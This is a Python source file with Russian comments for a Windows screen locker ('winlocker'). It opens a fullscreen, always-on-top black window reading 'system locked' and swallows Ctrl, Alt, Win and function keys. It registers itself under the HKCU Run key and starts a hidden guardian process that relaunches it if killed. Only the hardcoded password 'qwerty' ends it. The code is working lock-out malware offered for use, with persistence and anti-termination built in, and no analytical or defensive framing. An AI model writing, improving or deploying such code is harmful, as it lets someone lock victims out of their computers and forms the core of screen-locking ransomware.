Загрузка данных


# locker_fixed.py
# Устойчивый блокировщик экрана без прав администратора
# Работает без ошибок TclError: bad event type or keysym "Win"

import os
import sys
import ctypes
import tkinter as tk
from tkinter import messagebox
import subprocess
import winreg
import time
import atexit

PASSWORD = "qwerty"
LOCKER_NAME = "SystemLocker"
MUTEX_NAME = "Global\\SystemLockerMutex"

# === Логирование ошибок ===
def log_error(msg):
    try:
        with open(os.path.join(os.environ['TEMP'], 'locker_debug.log'), 'a') as f:
            f.write(f"{time.ctime()}: {msg}\n")
    except:
        pass

# === Автозагрузка (HKCU\Run) ===
def add_to_startup():
    try:
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
                             r"Software\Microsoft\Windows\CurrentVersion\Run",
                             0, winreg.KEY_SET_VALUE)
        script_path = os.path.abspath(sys.argv[0])
        if getattr(sys, 'frozen', False):
            cmd = f'"{script_path}"'
        else:
            cmd = f'"{sys.executable}" "{script_path}"'
        winreg.SetValueEx(key, LOCKER_NAME, 0, winreg.REG_SZ, cmd)
        winreg.CloseKey(key)
        log_error("Добавлен в автозагрузку")
        return True
    except Exception as e:
        log_error(f"Ошибка автозагрузки: {e}")
        return False

def remove_from_startup():
    try:
        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
                             r"Software\Microsoft\Windows\CurrentVersion\Run",
                             0, winreg.KEY_SET_VALUE)
        winreg.DeleteValue(key, LOCKER_NAME)
        winreg.CloseKey(key)
        log_error("Удалён из автозагрузки")
    except Exception as e:
        log_error(f"Ошибка удаления автозагрузки: {e}")

# === Мьютекс для единственного экземпляра ===
def create_mutex():
    mutex = ctypes.windll.kernel32.CreateMutexW(None, False, MUTEX_NAME)
    return mutex

def release_mutex(mutex):
    if mutex:
        ctypes.windll.kernel32.CloseHandle(mutex)

def mutex_exists():
    mutex = ctypes.windll.kernel32.OpenMutexW(0x100000, False, MUTEX_NAME)
    if mutex:
        ctypes.windll.kernel32.CloseHandle(mutex)
        return True
    return False

# === Блокировка клавиш ===
def block_hotkeys(event):
    # Запрещаем системные клавиши
    if event.keysym in ('Super_L', 'Super_R', 'Alt_L', 'Alt_R', 'Control_L', 'Control_R'):
        return "break"
    if event.state & 0x0004 or event.state & 0x0008 or event.state & 0x0040:  # Ctrl, Alt, Win
        return "break"
    if event.keysym in ('F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','F11','F12',
                        'Escape','Cancel','Menu','Print','Scroll_Lock','Pause'):
        return "break"
    return None

# === Основное окно блокировки ===
class WinLocker:
    def __init__(self, root):
        self.root = root
        self.root.attributes('-fullscreen', True)
        self.root.attributes('-topmost', True)
        self.root.overrideredirect(True)
        self.root.configure(bg='black')
        # Глобальный перехват всех клавиш
        self.root.bind_all('<Key>', self.global_key_handler)
        self.root.focus_force()

        # Интерфейс
        tk.Label(root, text="СИСТЕМА ЗАБЛОКИРОВАНА", font=("Arial", 24), fg="red", bg="black").pack(pady=100)
        self.pw_entry = tk.Entry(root, show="*", font=("Arial", 14), width=20, bg="gray20", fg="white", insertbackground="white")
        self.pw_entry.pack(pady=20)
        self.pw_entry.bind('<Return>', self.check_password)
        self.pw_entry.focus()
        tk.Button(root, text="Разблокировать", command=self.check_password, font=("Arial", 12), bg="gray30", fg="white").pack(pady=10)

        # Запуск стража (если не запущен)
        self.start_guardian()

    def global_key_handler(self, event):
        # Разрешаем навигационные клавиши внутри поля ввода
        if self.pw_entry.focus_get() == self.pw_entry:
            if event.keysym in ('BackSpace', 'Delete', 'Left', 'Right', 'Home', 'End'):
                return None
        # Остальное блокируем
        return block_hotkeys(event)

    def start_guardian(self):
        if getattr(self, '_guard_started', False):
            return
        self._guard_started = True
        # Запускаем страж-процесс с флагом --guard
        if getattr(sys, 'frozen', False):
            subprocess.Popen([sys.executable, '--guard'], creationflags=subprocess.CREATE_NO_WINDOW)
        else:
            subprocess.Popen([sys.executable, __file__, '--guard'], creationflags=subprocess.CREATE_NO_WINDOW)
        log_error("Страж запущен")

    def check_password(self, event=None):
        if self.pw_entry.get() == PASSWORD:
            log_error("Пароль верный, завершаем работу")
            # Удаляем из автозагрузки
            remove_from_startup()
            # Запускаем explorer
            subprocess.Popen("explorer.exe")
            # Завершаем процесс (страж тоже умрёт, т.к. мьютекс удалим)
            self.root.quit()
            self.root.destroy()
            sys.exit(0)
        else:
            self.pw_entry.delete(0, tk.END)
            messagebox.showerror("Ошибка", "Неверный пароль!")

# === Функция стража (проверяет мьютекс) ===
def guardian_loop():
    log_error("Страж запущен, проверка мьютекса...")
    while True:
        time.sleep(3)
        if not mutex_exists():
            log_error("Мьютекс исчез, перезапускаем основной процесс")
            if getattr(sys, 'frozen', False):
                subprocess.Popen([sys.executable])
            else:
                subprocess.Popen([sys.executable, __file__])
        # Если мьютекс существует — ничего не делаем

# === Точка входа ===
if __name__ == "__main__":
    if '--guard' in sys.argv:
        # Запуск стража
        guardian_loop()
    else:
        # Проверяем, не запущен ли уже основной процессqw
        if mutex_exists():
            log_error("Процесс уже запущен, выходим")
            sys.exit(0)
        mutex = create_mutex()
        if not mutex or ctypes.windll.kernel32.GetLastError() == 183:  # ERROR_ALREADY_EXISTS
            sys.exit(0)
        # Добавляем в автозагрузку
        add_to_startup()
        # Запускаем GUI
        root = tk.Tk()
        app = WinLocker(root)
        # При завершении освобождаем мьютекс
        atexit.register(lambda: release_mutex(mutex))
        root.mainloop()
        # Если mainloop завершился (например, из-за ошибки), освобождаем мьютекс
        release_mutex(mutex)